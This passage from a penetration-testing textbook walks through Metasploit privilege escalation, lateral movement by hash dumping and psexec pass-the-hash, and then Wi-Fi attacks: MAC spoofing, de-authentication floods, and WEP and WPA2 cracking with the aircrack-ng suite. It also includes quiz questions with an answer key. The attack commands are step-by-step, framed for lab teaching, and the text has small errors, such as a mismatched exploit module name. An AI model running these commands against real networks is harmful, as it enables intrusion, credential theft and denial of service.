Use the following command to carry out the exploit in the Windows system:

execute -f "uploaded file to be executed" -i . 

The -f parameter defines the executable file, and -i allows us to interact with the channel, which is the program that it operates on.

In the situations where you can run only a command, the best things to do it is run C:\\Windows\\System32\\cmd.exe, which is going to give us a shell.

Using built-in local exploits in Metasploit framework for escalation

Some of the exploits in Metasploit framework give us the option to run a local exploit on an existing meterpreter session. To access the Metasploit console while our meterpreter session is open, we can use the background command.

We can list down the active sessions using the following command:

sessions -l


[image: ]

Figure 7.40: Listing down the existing Metasploit sessions

It sends us back to the console, and we can go back to the meterpreter session with the following command:

sessions -i 'sessionid'

In this case, it will look like sessions -i 1, as 1 is the session ID we found in figure 7.40.

Metasploit also has Metasploit Local Exploit Suggester, which can help us find appropriate local exploits for the target system. Figure 7.41 shows the command required to run Metasploit Local Exploit Suggester to an existing session:
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Figure 7.41: Running Metasploit Exploit Suggester on an existing session

Here are the commands to run Metasploit exploit suggester on an existing session

use post/multi/recon/local_exploit_suggester

set session 1

run

Let’s say using Metasploit Local Exploit Suggester, we figured that the target is vulnerable to the following local exploit:

exploit/linux/local/glibc_origin_expansion_priv_esc

We have to execute the following command to run this exploit on a specific session:

use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc 

We should set session to our session ID, and we are good to run our local exploit for privilege escalation:
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Figure 7.42: Setting session for local exploit and running it

Once we run the exploit, we should have a shell with root privilege. You can verify that using the id command.

Lateral movement

Lateral movement, also known as pivoting, is the distinct technique of using an instance (also described as a plant or foothold) to be able to move around inside a network. Essentially, it’s all about using the very first compromised system on a network to compromise of other inaccessible systems present in the same or different network. In this scenario, we will be using it to access the system present in a typically non-accessible network.

In our test environment, when we connect to our meterpreter session, we run ipconfig and see that the exploited system is dual-interfaced:

192.168.1.2

10.1.13.3

The interfaces and their associated details can be seen in Figure 7.43.
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Figure 7.43: ipconfig command in meterpreter session

Let's look at the sample network diagram. So far, we have gained access to 192.168.1.2:
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Figure 7.44: Target network topology

From the penetration test system, we cannot directly access the 10.1.13.* network. We intend to leverage this recently uncovered information and attack this additional network. Metasploit has an autoroute meterpreter script that will permit us to attack this second network through our initial compromised machine. The script can be executed as shown in figure 7.45:
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Figure 7.45: Meterpreter autoroute command

Considering that this a Windows domain joined system, if we can get admin password or hashes, we should be able to access other system on the same network. Now that we have added our additional route, we will dump the password hashes from local computer using "run hashdump" command. These hashes can be used later in password cracking attempts, with the goal of getting additional usernames and passwords. Note that this is only possible when the system is domain joined. The password hash is dumped from memory. After that, we will move our meterpreter session to the background by pressing Ctrl + Z:
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Figure 7.46: Meterpreter dumping hash

Now, we have to find out if there are other systems on this second network we have discovered. We will use a basic TCP port scanner (using metasploit auxiliary scanner module auxiliary/scanner/portscan/tcp) to look for ports 139 and 445 as shown in figure 7.47
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Figure 7.47: Meterpreter port scanning

We have discovered a few additional machines on this network with ports 139 and 445 open:
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Figure 7.48: Exposed ports in new system in new target network

Now, we will try to reuse our gathered password hash, along with the windows/smb/psexec exploit module of Metasploit. The psexec module of Metasploit is often used by pen testers to obtain access to a given system that you already know the credentials for. One great feature in Metasploit’s psexec module is, it allows us to enter the password of the target system itself, or we can simply specify the password hash values. There is no need to crack the password hashes to gain access to the system. So, we will use the dumped network administrator password hash here as it supposed to work for all systems:
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Figure 7.49: Meterpreter configuring exploit for lateral movement

Now that we have set all exploit parameters, like target host, smb username , password hash, we will simply run the exploit command:
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Figure 7.50: Running the exploit

Our attack has been successful! In the preceding output, you can see that we have a meterpreter session connecting to 10.1.13.2 via our existing meterpreter session with 192.168.1.201. Running ipconfig on our newly compromised machine shows that we have reached a system that is not normally accessible to us:
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Figure 7.51: Checking your meterpreter session

As you have seen, pivoting or lateral movement is an extremely powerful technique and is a critical capability to have on penetration tests.

Conclusion

In this chapter, we have looked at different stages of a network penetration test, and you understood how some of the readymade tools can come in handy for executing these tests. The scope of network penetration test is huge, and it is almost impossible to cover in one chapter; hence, we recommend that you configure more complex systems in your lab environment and carry out tests.

Lastly, as a penetration tester, you must collect and log all vulnerabilities in the system. Don't neglect any kind of scenario assuming that it will not be executed by the end users. There is no such thing as a risk cost-free penetration test. Penetration testing, by its nature, involves doing unforeseen things to systems and people. The risk can never ever be totally removed, but it can be reduced and regulated.

Points to remember


	Prevention needs the consideration of mindful factors, an understanding of the risks, and an understanding of the prospective impacts.

	We will ask you for a pre-engagement conference with the workers who are more than likely to know about any kind of shared sources or batch jobs, databases, and third-party possessed systems or relationships that might be negatively impacted by penetration testing tasks.

	Automated scanners are indispensable to full test coverage, but scanners are one of the biggest risks to production systems. Hence, a tester should take extra precaution while configuring the scanner.

	Have everything documented.

	When in doubt, always ask questions to clients.



Multiple choice questions


	A penetration test can be fully automated.

	True

	False



	Nmap console can be used to gain escalate privilege in remote systems.

	True

	False



	Whois lookup cannot provide information about which of the following?

	Company phone number

	Company’s geo location

	Company’s office location

	Open ports in web servers



	Shodan tools can help a penetration tester find web server version details.

	True

	False



	TXT DNS records map a space name to their related DNS servers.

	True

	False



	TCP header can have total 17 flags.

	True

	False



	FIN flag tells the remote system concerning the end of the communication.

	True

	False



	The main principle behind TCP SYN scan is TCP three-way handshake.

	True

	False



	NMAP doesn't support scanning of UDP port.

	True

	False



	The metasploit getsystem command is the most reliable way to escalate privilege in any system.

	True

	False





Answers


	B

	B

	B and D

	B

	B

	B

	A

	A

	B

	B



Questions


	Explain TCP three-way handshake.

	Explain how a TCP connection terminates.

	Explain the difference between TCP and UDP.

	Explain how a MITM attack works.

	Explain ARP.

	Explain how an SSL Handshake works.

	Explain how password cracking works.

	What is trace route? How does it work?

	What is ping? How does it work?

	What is DNS? How does it work?

	What is the difference between external and internal penetration test?

	What is TCP SYN scan?

	What is TCP connect scan?

	What is cryptography?

	What is symmetric and asymmetric cryptography?

	How would you perform a bruteforce attack on a network?

	What is privilege escalation? How do you perform such an attack?

	What is the time to live of a packet?

	What is a routing table?

	What is a stateful and stateless firewall?

	What are the differences between IDS and IPS?

	What is hashing?

	What is the difference between hashing and encoding?

	How does Nessus scanner discover open services?

	How do port scanners work?

	What is CVE and CVSS, and how can you find this information online?

	What is the difference between vulnerability and exploit?

	What is OS fingerprinting?

	What is passive fingerprinting? Which tool can be used to do that?

	What is banner grabbing?

	Explain how data transmits via 7 OSI layers?

	What is DMZ?

	What is the main difference between Stateless and Stateful Firewall?

	What are the differences between bind and reverse shell?

	Explain some of the common privilege escalation techniques for Linux?

	Explain some of the common privilege escalation techniques for Widows?

	What is the difference between LM and NTLM hash?

	What is half open Scan ?

	What is FTP Privileged Port Bounce Scan?

	What is DNS Cache snooping?

	What is the difference between encryption and hashing?

	What is the difference between Symmetric and Asymmetric encryption?

	Give examples of secure Hashing algorithms? What is the salted hashing concept?

	How passwords need to be stored securely in Database ?

	What is an active directory? Tell us some of the attack vectors of Active directory implementations.

	What are the main two phases of the SSL handshake process and which type of encryptions are used in those phases?

	Give examples of some of the Auxiliary modules of Metasploit framework and their usage?

	What is SMTP relay attack?

	What is the SNMP community string? What happens if Default SNMP community string is set to Public and Private?

	What is a honeypot?

	What is OSINT?

	What is MAC spoofing?

	In which scenarios SSH tunnelling is required?







CHAPTER 8

Wireless Penetration Testing


Introduction

The subject wireless security is all about protecting mobile phones, laptops, portable devices with wireless communication ability, and the wireless networks they are attached to from all kinds of threats associated with wireless computing. Wireless security is a vast subject, and this is an introductory chapter that will cover the fundamentals of wireless security and some well-known attacks on wireless infrastructure. Along with Wi-Fi communication fundamentals, we will focus on the approaches and steps for testing the Wi-Fi network and see examples of attacks and tools that will accomplish our goal.

Structure

In this chapter, we will cover the following topics:


	Basic understanding of Wi-Fi network

	IEEE 802.11 standards and 802.11 Wi-Fi data frame

	Wi-Fi security protocols

	Understanding how access points and a client communicates



	Wireless lab setup

	Hardware requirements

	Testing if everything is working fine



	Art of sniffing wireless packets

	Wireless mode (managed and monitor mode)

	Sniffing wireless packets

	Packet injection

	Sniffing data packets of the target Wi-Fi network



	Common attacks against wireless networks

	MAC spoofing attacks

	Uncover hidden SSID attacks

	Attacks against WEP encryption

	Cracking WPA/WPA2 (weak password)

	Rogue access point attacks





Objectives

After reading this chapter, you should gain a decent understanding about WLAN security basics and common attacks against WLAN. A wide variety of attacks are possible against Wi-Fi networks. Covering them all in this chapter is not quite possible, so we will try to ensure that we can build the foundation for you so that it’s easier for you to learn about other possible Wi-Fi attacks from other sources.

Basic understanding of Wi-Fi networks

Wi-Fi means Wireless Fidelity, which is a wireless networking technology that enables devices such as computers (laptops and desktop computers), smart phones (mobile phones and wearables), and other equipment (printers and camera) to interact with the internet. It permits these and many more devices to exchange information with each other, creating a network. It transfers signals through the air.

IEEE 802.11 standards

It was designed for use in a restricted geographical area (houses, office complex, and campuses). The access method of IEEE 802.11 Wi-Fi is Carrier-Sense Multiple Access with Collision Avoidance (CSMA/CA). IEEE 802.11 uses numerous frequencies, but it is not restricted to 2.4 GHz, 5 GHz, 6 GHz, and 60 GHz frequency bands. It specifies the protocols that allow communications with current Wi-Fi-enabled wireless devices, including wireless routers and wireless access points. To be able to understand Wi-Fi communication security, we must have a good understanding of the Wi-Fi packet structure that flows over the air.
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Figure 8.1: Wi-Fi frame structure

Let’s understand each offset of the packet shown in figure 8.1 one by one:


	Frame Control: It contains the information about the protocol in use, the type of frame, or the type of security measures used.

	Duration: It implies how long the field transmission will take so that other devices in the networks can discover when a particular channel will be available again.

	Address 1: Address 1 field holds the receiver’s MAC address of the wireless packet. Remember, the receiver is the destination in many cases, but it is not always the case. Refer to table 8.1 for clarity.

	Address 2: Address 2 field holds the transmitter’s MAC address. This is basically referring to the source device’s MAC address. Refer to table 8.1 for clarity.

	Address 3: Address 3 field is usually used for Wi-Fi packet filtration by access point. Refer to table 8.1 for clarity.

	Sequence Control: It indicates how a large packet is fragmented.

	Address 4: Not used.

	Data: It is anything the frame carries, such as an IP packet.

	Frame Check sequence (FCS): It is an error checking mechanism to ensure that the frame is intact at the source and destination ends.












	
Packet direction

	Address 1

	Address 2

	Address 3

	Address 4


	Packets to access point

	Access point’s MAC

	Source device MAC

	Destination device MAC

	Not used


	Packets from access point

	Destination device MAC

	Access point MAC

	Source device MAC

	Not used




Table 8.1: Address fields in different Wi-Fi packets

Wi-Fi security protocols

In this section, we will discuss several standard security protocols followed by any Wi-Fi network/devices to securely communicate with each other. You might have seen some of these terminologies while configuring your Wi-Fi router at home (shown in figure 8.2):
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Figure 8.2: Wi-Fi security protocols

Let us look at some of the standard security protocols:


	Wired Equivalent Privacy (WEP) protocol: It was developed in the year 1999 and is the earliest security protocol that was used for wireless networks. It was discovered that the encryption it used is vulnerable in many ways and is not secure. An initialization vector (IV) attack is a common attack on wireless networks. The IV has to be random; in other words, the IV has to be unpredictable/unique in nature. WEP utilizes a 40-bit encryption key, which makes it prone to several attacks. Some WEP vulnerabilities reside in its RC4 implementation and key scheduling algorithm. FMS attacks, PTW attacks, ARP request replay attack, and chop-chop attack are some of the most popular attacks demonstrated against WEP.

	Wi-Fi Protected Access (WPA) protocol: It was developed to resolve the security issues of WEP. WPA is much better than WEP as it uses a more powerful encryption method called Temporal Key Integrity Protocol (TKIP). TKIP uses RC4 as its cipher. TKIP dynamically changes its secret key, which prevents attackers from generating their own matching encryption key used by the target wireless network. Today, WPA is also obsoleted due to the fact that TKIP did have some vulnerabilities in it. TKIP is vulnerable to an attack named MIC key recovery attack. A successful key recovery attack allows an attacker to decrypt arbitrary packets from the target wireless network.

	WPA2 protocol: It was created to provide even more powerful security than WPA. WPA2 uses Advanced Encryption Standard (AES), which uses a symmetric encryption algorithm that makes it solid enough to resist a brute-force attack.
Both versions of Wi-Fi protocol WPA and WPA2 can be implemented in one of the two modes:


	Personal (uses Pre-Shared Key (PSK)) mode: In this mode of operation, the user or owner of the network defines an encryption password (also known as passphrase) on the wireless router at the time of configuration. Then, the password has to be entered any user (client device) while connecting to the Wi-Fi network. This is usually suitable for home networks.

	Enterprise (uses Extensible Authentication Protocol (EAP)) mode: This mode of operation provides the security that a business or an enterprise wireless network needs. As compared to personal mode, enterprise mode is much more complicated to set up. This mode allows the wireless network administrator to control the Wi-Fi network fully. Legitimate users are provided with credentials, which are needed to connect to the network. The administrator is allowed to manipulate the credentials at any time. Enterprise mode uses EAP, which is used on protected networks to bring a secure way to submit identity information (for example, credentials) to perform the network authentication. EAP can be integrated with several authentication methods, such as certificates, smart cards, token cards, OTP, and public key encryption.



	WPA3 protocol: It was presented in 2018, and according to the official Wi-Fi website https://www.wi-fi.org/WPA3, it offers advanced security protocols. The WPA3 standard also replaces the Pre-Shared Secret Key (PSK) exchange with Simultaneous Authentication of Equals (SAE) exchange, a method initially introduced with IEEE 802.11, resulting in an extra secure first key exchange in private mode and improved security. Though Wi-Fi alliance asserts that WPA3 will be reducing security problems, WPA3 attacks are already out since 2019. The most popular attack that was publicly disclosed in 2019 is Dragon blood attack.



Understanding how access points and a client communicates

In this section, we will try to understand how a Wi-Fi client connects to a wireless network by deep diving into each stage. Figure 8.3 showcases the communication between a Wi-Fi access point and a client on a very high level:
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Figure 8.3: Wi-Fi handshake

Probe

At the beginning of any 802.11 authentication and association procedure, the client first tries to find all the readily available frequencies and looks for an SSID to join. The SSID (also known as the Service Set Identifier) is nothing but the name of your wireless network and is also known as the network ID. The client willing to join the access point first sends a probe request frame, which has details like the supported data rates, as shown in figure 8.3. After that, the access points available in the area reply with probe responses that contain the SSID and BSSID. Here, SSID is the access point name, and BSSID is the MAC of the access point.

Once the client discovers an SSID that matches with its configuration, it will send out an authentication request probe to the access point. It’s very essential to note that the authentication request and authentication response packets exchanged in this phase do not provide any sort of encryption. Here, the authentication request and response exchange are only used by the access point to register the client's MAC address. When MAC filtering is enabled in any access point, this information is used to filter clients based on their MAC. Figure 8.4 shows captured frames of a probe request:
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Figure 8.4: Sample probe request frame

Figure 8.5 shows captured frames of a probe response:
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Figure 8.5: Sample probe response frame

Authentication

Once a successful probe exchange is completed, the station moves forward with authentication. 


	Authentication request: At the client-end, once we select the access point from the list, the client sends an authentication request packet to the target access point. Figure 8.6 shows captured frames of an authentication request:
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Figure 8.6: Sample authentication request frame


	Authentication response: Once the authentication request is successful, the client receives the authentication successful response from the selected access point, as shown in figure 8.7:
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Figure 8.7: Sample authentication response frame




Association

Once a successful authentication frame exchange is completed, the station moves forward with associating. The station transmits an association request frame containing the station’s capabilities within fields and information elements of the frame:


	Association request: The client sends this request to the access point, which states that both the client and access points are now ready to communicate with each other:
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Figure 8.8: Sample association request frame


	Association response: The access point sends a final response to the client, as shown in figure 8.9:
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Figure 8.9: Sample association response frame




After completing these three main steps, data exchanging is usually started.

Wireless lab setup

In Chapter 3, Setting Up Your Lab for Penetration Testing, we have already installed Kali Linux in our pen testing system. Most of the required tools and drivers are shipped with Kali Linux. Figure 8.10 shows a basic wireless lab setup that we will be using to test and simulate some of the Wi-Fi attacks. Note that attacking Wi-Fi networks that belong to someone else is illegal; hence, students are asked to set up their own environment for practicing the attacks demonstrated in this chapter:
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Figure 8.10: Wi-Fi lab setup

Hardware requirements

We will need the following hardware to set up the wireless lab:


	One wireless adapter with packet injection capabilities: Depending on the wireless card of your laptop, you may need a USB Wi-Fi card that can support packet injection and packet sniffing, which is supported by Kali. We will be using an Edimax EW-7811 UN, which is a tiny Wi-Fi adapter that does the job really well. Figure 8.11 shows how we can check the details of our wireless adapter using the airmon-ng command on Kali Linux:
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Figure 8.11: Checking Wi-Fi card details

This low-cost Wi-Fi adapter can be bought from Amazon (Edimax EW-7811U Wi-Fi USB Adapter (Black and Gold)) https://www.amazon.in/gp/product/B003MTTJOY/. Thankfully, Kali is shipped with all the required drivers for the Edimax adapters (figure 8.11).


	An access point that supports different Wi-Fi security protocols for our testing: Any access point that supports WEP/WPA/WPA2 encryption standards would be a good fit in your wireless lab. I will be using a Tenda wireless router for the purpose.



Testing if everything is working fine

Once we plug in the Wi-Fi adapter in Kali Linux's USB ports and open the console terminal and type in iwconfig, we should see our wireless interface, as shown in figure 8.12:
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Figure 8.12: iwconfig output

As shown in the preceding screenshot, wlan0 is the wireless interface created for the wireless adapter. Type in ifconfig wlan0 up to bring the interface up. Then, we type in ifconfig wlan0 to see the actual state of our Wi-Fi interface (figure 8.13):
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Figure 8.13: Viewing state of WLAN card

Now, let’s find out which wireless networks our adapter is currently detecting around us. To find that, we issue a iwlist wlan0 scanning command, and you should be able to find a list of Wi-Fi networks (figure 8.14):
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Figure 8.14: Scanning for WLAN networks from Kali

The ESSID field contains the network name. In this case, the ESSID is Debasish Wi-Fi, which we are going to experiment with later in this chapter.

Next, we can attempt to connect to the Wi-Fi network by issuing the following command:

iwconfig wlan0 essid "Debasish Wi-Fi"
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Figure 8.15: Connecting to WLAN network

It is followed by iwconfig wlan0 to check the status. Post this command, if you are successfully connected to the access point, you should be able see the MAC address of the access point Debasish wifi in the access point field in the output of iwconfig.

The art of sniffing wireless packets

Remember, if we wish to invade a Wi-Fi network, we need to capture the Handshake we saw earlier over the air. This handshake is referred to as a connection between the victim computer and the wireless network we are targeting. With this handshake, data hackers are capable of decrypting the Wi-Fi name and secret key as data is sent as packets and the packet travels from source to destination using a MAC address. Note that each packet has a valid source MAC address and a destination MAC address.

Wireless mode (managed and monitor mode)

The question here is, how can an external entity capture the handshake data? If we are in the Wi-Fi range, we have the ability to catch all of this communication because these packets are sent over the air. This means we can catch them even if the packets are not crafted for our system (even when our MAC address is not set as the destination MAC address of any packet). In default configuration, the mode of a wireless devices is always set to managed mode, which means our wireless device will only be able to capture packets that have our device's MAC address set as the destination MAC. Monitor mode allows a wireless adapter to capture raw packets that travel across the wire without any type of filtering. In managed mode, we will be able to capture literally all packets that flow across the wireless network. So, to be able to do this, we need to transform the mode of operation of our wireless interface from managed mode to monitoring mode, which can be done by executing the following commands in the terminal of Kali Linux:

ifconfig wlan0 down

airmon-ng check kill

iwconfig wlan0 mode monitor

ifconfig wlan0 up

Let’s understand what we are doing here:


	Turn the wireless interface (wlan0) down.

	Kill all processes that might be utilizing the wireless interface.

	Change the mode from managed mode to monitoring mode.

	Turn the wireless interface back up.



Once we execute these commands, we should be able to confirm that the mode of our adapter has changed to Monitor, as shown in figure 8.16:
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Figure 8.16: Verify that monitoring mode is enabled for WLAN card

Sniffing wireless packets

Once we change the mode of our Wi-Fi interface, let’s try to sniff some packets over the air. To do that, we launch Wireshark by typing sudo wireshark in the terminal of Kali Linux:
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Figure 8.17: Selecting WLAN interface

Then we will select wlan0 to capture the packet as shown in figure 8.18:
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Figure 8.18: Viewing packets in Wireshark

These are wireless packets that your wireless adapter is sniffing off the air. We can see that we are receiving Beacon packets. Beacon frames are usually used by access points to broadcast the characteristics throughout the services. This information from the Beacon packets are used by clients willing to connect to the network and also by clients already associated with the network.

Wireshark traces can be a bit complicated sometimes; for a reasonably booming wireless network, you might wind up capturing a huge number of packets. Thus, it is essential to be able to drill down to the packets that fascinate us. This can be completed using filters in Wireshark. Here are some important wire shark filters.

To view all the management frames, we add the following filter in Wireshark:

wlan.fc.type == 0

Wireless management frame looks something like figure 8.19:
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Figure 8.19: Viewing management frame


	To view control frames, we add the following filter in Wireshark:
 wlan.fc.type == 1


	To view data frames, we add the following filter in Wireshark:
 wlan.fc.type == 2.




Wireless data frame looks as shown in figure 8.20:
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Figure 8.20: Viewing data frame

There is an excellent cheat sheet available on the following link, which is about different Wireshark wireless packet filters:

https://semfionetworks.com/wp-content/uploads/2021/04/wireshark_802.11_filters_-_reference_sheet.pdf

Packet injection

Packet injection is a way of tampering with an almost all network protocol by generating custom packets that appear to be part of the regular communication stream. The packet injection method enables an unknown third party to disrupt or intercept packets sent by sender and receiver parties. This can often lead to users' ability to access restricted network services or protocols. Packet injection is commonly utilized in man-in-the-middle attacks.

In order to test packet injection, we need to switch on monitor mode. We have already put our card in monitoring mode, so let us test the packet injection. We will use a tool named aireplay-ng to test the packet injection; to run this tool, type aireplay-ng complied with --test complied with by the interface name. The command looks like this:

aireplay-ng –test wlan0

If you see the message Injection is working! (figure 8.21), congratulations! Your Wi-Fi card is capable of doing packet injection to the target network:
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Figure 8.21: Packet injection test

Sniffing data packets of the target Wi-Fi network

Since we have allowed monitor mode on our wireless interface, we are able to catch all the Wi-Fi packets sent out within our range, even if the packet is not routed to our Kali system. So, now we need a program that can capture these packets for us. The program that we are going to use is airodump-ng. It's developed to capture packets while you are in monitor mode, so it will permit us to see all the wireless networks around us and reveal to us outlined information about their MAC addresses, their networks, their encryptions, the client connected to the networks, and much more.

To start sniffing packets with the tool airodump-ng, type airodump-ng followed by the interface in monitor mode, as shown in the following command:

airodump-ng wlan0

Then, click on the Enter key:
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Figure 8.22: Sniffing WLAN using airmon-ng

We see a lot of things in the terminal (figure 8.22). Let’s break them into pieces to understand them better. This program airodump-ng will continue running unless you stop it by pressing CTRL + C.

Let’s understand the results:


	BSSID: It shows the MAC address of the target network (04:95:E6:3A:FC:60).

	PWR: It shows the signal strength of the network.

	Beacons: As seen earlier, these are the frames sent by any Wi-Fi network to broadcast its presence.

	#Data: It shows the number of data packets or the number of data frames.

	#/s: It shows the number of data packets that we collect in the past 10 seconds.

	CH: It shows the channel on which the network works.

	MB: It shows the maximum speed supported by the network.

	ENC: It shows the encryption used by the network; it can be WEP, OPN, WPA, or WPA2.

	CIPHER: It shows the cipher used in the network.

	AUTH: It shows the authentication used on the network.

	ESSID: It shows the name of the network.



Sniffing our specific target using airodump-ng

In this step, we will run airodump-ng to see all the devices that are attached to a specific network and gather more information about them. When we have a network to target, it's helpful to run airodump-ng on that particular network rather than running it on all the networks around us. So, our target is Debasish Wi-Fi. Let’s sniff it out and obtain more information about it.

The command looks something like this:

airodump-ng –bssid [Target Network Mac address] –channel [Channel used by target] [Interface Name].

It will look something like this:

airodump-ng –bssid 04:95:E6:3A:FC:60 –channel 6 wlan0

The output would like something like figure 8.23:


[image: ]

Figure 8.23: Sniffing packets only for our access point

Let’s try to understand the console output (figure 8.23):


	BSSID: It shows the MAC address of the target network.

	STATION: It shows the number of devices that are connected to this network.

	PWR: It shows the power strength of each of the devices.

	Rate: It shows the transfer speed.

	Lost: It shows the data loss, if any.

	Frames: It shows the number of frames that we have captured.



How do we filter that in Wireshark? To see the data packets for our access point, add the following to the filter:

(wlan.bssid ==04:95:E6:3A:FC:60) && (wlan.fc.type_subtype == 0x20)

Where 04:95:E6:3A:FC:60 is the MAC of our target network.

Common attacks against wireless networks

So far, you have gained some basic understanding of wireless networks and configured the software and hardware you need for performing attacks on any wireless network. In this section, you will learn about some of the most common attacks against wireless networks.

MAC spoofing attacks

Filtering clients by their MAC address is a very poor method of protecting Wi-Fi networks. It literally costs about 1 or 2 minutes of an intruder’s time to bypass such security.

Most network equipment makes it very easy to change MAC addresses from a GUI. In Kali Linux, you can change the MAC of your Wi-Fi adapter as follows; it should work for both wired and wireless networks:

ifconfig wlan0 down 

ifconfig wlan0 hw ether 00:11:22:AA:AA:AA 

ifconfig wlan0 up

So, this is what we are doing here. We must first disable any non-interfaces. You can check if the substitution is working by executing the command ifconfig wlan0. The MAC address should be in the Hwaddr line.

In addition, there is macchanger utility, which can help you set yourself a random MAC. If we can put it in init.d, every time we boot, our MAC will be different. Here’s how to use this tool:

#Random MAC:

macchanger -r wlan0

#Defined MAC:

macchanger -m 11:22:33:AA:BB:CC wlan0

#Show MAC:

macchanger -s wlan0

Do not be overwhelmed by the freedom to change MAC addresses to arbitrary. Some access points do not allow clients with invalid MAC addresses to connect. So, if you change to arbitrary, ensure that it is in the database, otherwise you may experience problems. In Kali Linux, this database can be found in files:

/var/lib/ieee-data/oui.txt

/var/lib/ieee-data/oui36.txt.

/var/lib/ieee-data/iab.txt

/var/lib/ieee-data/mam.txt

Preventing MAC spoofing

Spoofing the MAC address of a system doesn't completely eliminate the risk of getting detected, so a network administrator will still be able to see the traffic from the spoofed MAC address. A spoofed MAC address will appear in traffic log from two different sources in parallel. It is also very important to apply wireless network hardening. Some firewalls have the functionality to prevent and detect MAC spoofing; incorporating such a firewall may increase wireless network security. There are also numerous MAC spoofing detection tools that can be of help here, like reverse ARP, web traffic analyzers, and bandwidth monitoring tools.

Uncover hidden SSID attacks

In this section, we will go through how to uncover hidden SSID with Kali Linux. At first, we set the environment by hiding our existing SSID, as shown in figure 8.24:
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Figure 8.24: Hide SSID from access points

We already have our card in monitoring mode, so the next thing we have to do is scan for available networks. We use airodump-ng to scan for nearby networks and look for our router:
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Figure 8.25: Finding nearby Wi-Fi networks

At current state, our BSSID is 84:C9:B2:6A:9E:90, and we are using channel number 6. Next, we type down the BSSID and the channel of our access point. After that, we cancel the current command and rerun it. This time, we specify the BSSID and channel number of the hidden SSID that we saw in the last step:

sudo airodump-ng -c 6 --bssid 84:C9:B2:6A:9E:90 wlan0
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Figure 8.26: airodump-ng output

We will let it run. We see the BSSID of the target network, but we don’t see ESSID (figure 8.26). Now, to discover the SSID, we have two options while the scan is running. The first option is to wait for a new device to connect with the same access point. So, when a new device tries to join the network, it will send out a beacon frame, and airodump-ng will immediately populate the SSID in the terminal output.

We will now connect a device to the network to show how it will show up in the output:
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Figure 8.27: airdump-ng output with visible ESSID

We should be able to observe that the ESSID is now showing the name Debasish wifi (figure 8.27).

It is one of the options to discover hidden SSID. The second option we have is to force disconnect one or all the devices associated with the AP at any moment.

We can use a tool called aireplay-ng to disconnect devices by bombarding them with de-authentication packets. To do that, let’s open a new terminal and send de-authentication packets to all connected devices on the access point. The following command will send five de-authentication packets to our access point (figure 8.28):

sudo aireplay-ng -0 5 -a 84:C9:B2:6A:9E:90 --ignore-negative wlan0
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Figure 8.28: Sending de-authentication packet to all devices

Now, upon receiving the de-authentication packets, another client will be temporarily thrown out of the network. As a result, they will try to reconnect themselves. Meanwhile, airodump-ng will capture the SSID for us.

Now, once we go back to terminal one, we should see the ESSID of the hidden WLAN, which is Debasish Wifi:
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Figure 8.29: Hidden SSID visible

Attacks against WEP encryption

WLANs transmit data over the air; therefore, there is an integral need to safeguard data confidentiality, which is best done utilizing encryption. In this section, you will learn how you can attack WEP protected access point using Kali Linux.

As the first step, we enable WEP encryption in our access point so that we can simulate this attack against it. Most of the latest routers don’t support WEP as it’s insecure and outdated. To simulate this, we need to find an older router with WEP support:


	Setting up monitoring mode: As a very first step, we ensure that our wireless interface is in monitoring mode, which we have done earlier (figure 8.30):
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Figure 8.30: Confirm monitoring mode


	Searching for access points to attack: Type in the following command to search for all Wi-Fi access points in your region:
airodump-ng wlan0 

where wlan0 is interface in monitor mode.

After hitting Enter, we should see the list of all access points around us:
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Figure 8.31: Access points with WEP encryption

Here, we select the access point that has WEP encryption, and as you saw previously, there is only one like that: dlink_guest (figure 8.31).


	Capturing packets of selected access point: Now, let's capture packets of the Wi-Fi that we want to invade. Type the following command to do so:
airodump-ng --bssid CA:BE:19:65:C5:D4 -w output -c 10 wlan0

Where,


	airodump-ng: The main command

	--bssid: Should be the MAC address of router

	-w: Should be the file name to store packets

	-c: Channel number

	wlan0: Interface in monitor mode


Once we hit Enter, we will see something like figure 8.32:
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Figure 8.32: Capturing traffic using airodump-ng

Although there are other devices connected, sometimes we don’t get data packets quickly as shown in figure 8.32. In many cases, we have to wait for some time. Usually, we have to wait till the #data reaches number 10,000. There are ways to reduce the wait time.


	Reducing wait time by sending data packets using fake auth: To send a fake auth packet, we open a new terminal and type in the following command: 
aireplay-ng -1 0 -a CA:BE:19:65:C5:D4 wlan0

Where,


	-a: MAC address of router

	wlan0: Interface in monitor mode


Once you execute the preceding command, you should see output as seen in figure 8.33:
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Figure 8.33: Sending fake auth packets to the target AP

This means your adapter is now associated with the router (figure 8.33). It doesn't necessarily mean you can access the network without a password, as you are still not connected.

Go to the terminal that captures data. We don't stop the process until the #Data reaches more than ~10,000.


	Getting packets from the target router: This is the main phase, which is what boosts data packets, and the terminal that is still running data capture pulls these.
Type the following command:

aireplay-ng -3 -b CA:BE:19:65:C5:D4 wlan0

Once the preceding process starts, when we go back to the terminal where we were capturing data packets and observe the packets in the #Data column, we should see it raised significantly.

Generally, the packet count should be greater than 10000 for us to crack. Once we have enough data, we can stop the process. Meanwhile, we should see a new .cap file created that contains all our captured data.


	Cracking the password using aircrack-ng: Type the following in a new terminal:
aircrack-ng output-01.cap
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Figure 8.34: Brute forcing the key





That's the WEP password of the target access point (figure 8.34). The cracking usually fails when we don’t have enough data.

WEP is an obsolete encryption and is no longer supported by hardware vendors. If you find WEP in your client’s network, ask them for an upgrade.

Cracking WPA/WPA2 (weak password)

WPA2 is an updated version of WPA that uses AES encryption and long passwords to create a secured network. In this section, you will learn how to crack WPA/WPA2 passwords:


	Ensure that you are in monitoring mode: First thing first, we should ensure that our wireless interface is in monitoring mode (figure 8.35):
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Figure 8.35: Monitoring mode is ON


	Find a target: So, boot up Kali Linux. Open the terminal window and perform the following steps:
We first started viewing all the Wi-Fi networks in our lab:

airodump-ng wlan0

We see available WPA2 networks as shown in figure 8.36:
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Figure 8.36: Find nearby targets

We have a target network called WPA2 Hack (refer figure 8.36).


	Viewing the clients connected to the access point: Let’s try to view the clients connected to the target network. We can do that by executing the following commands:
airodump-ng -c 13 --bssid 80:35:C1:2C:C1:13 -w capture wlan0

Here:


	airodump-ng: For packet capturing

	-c: Channel

	–bssid: MAC address of a wireless access point (WAP)

	-w: The directory where you want to write the captured data packets

	wlan0: Name of the interface


The preceding command will also save the captured data pacers to the current working directory that we are going to use later to perform the attack:
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Figure 8.37: Viewing other clients connected to the network


	Disconnecting client from access point (a de-authentication attack): In figure 8.37, we have seen a client connected to the access point. Now, we will try to disconnect the clients connected to the target network by sending a fake de-authentication packet to the target network (figure 8.38):
aireplay-ng -0 10 -a 80:35:C1:2C:C1:13 wlan0
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Figure 8.38: Broadcasting de-authentication packet to client

Here:


	aireplay-ng: To inject frames

